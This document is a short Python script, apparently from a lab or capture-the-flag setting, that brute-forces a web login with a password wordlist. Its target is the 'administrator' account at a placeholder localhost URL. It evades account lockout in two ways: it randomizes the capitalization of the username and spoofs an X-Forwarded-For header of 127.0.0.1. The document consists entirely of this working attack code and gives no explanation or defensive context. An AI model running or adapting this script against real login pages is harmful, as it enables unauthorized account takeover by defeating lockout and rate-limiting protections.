Account Block Bypass Login (bruteforce) with random capitalization

random_cap_brute.py

#!/usr/bin/env python3
import random
import requests

url = "http://localhost/index.php" # change to your target url
username = "administrator"

def randomize(s):
    result = ''
    for c in s:
        case = random.randint(0, 1)
        if case == 0:
            result += c.upper()
        else:
            result += c.lower()
    return result

def brute(username,password):
    headers = {
            'X-Forwarded-For': '127.0.0.1'
            }
    data = {
            'username': username,
            'password': password
            }
    res = requests.post(url, data=data, headers=headers)
    if 'Wrong' not in res.text:
        return True
    else:
        return False

def main():
    # read from wordlist 
    with open("fasttrack.txt", "r") as f:
        for line in f.readlines():
           if brute(randomize(username),line.strip()):
               print("Password found: %s" % line)
               break

if __name__ == "__main__":
    main()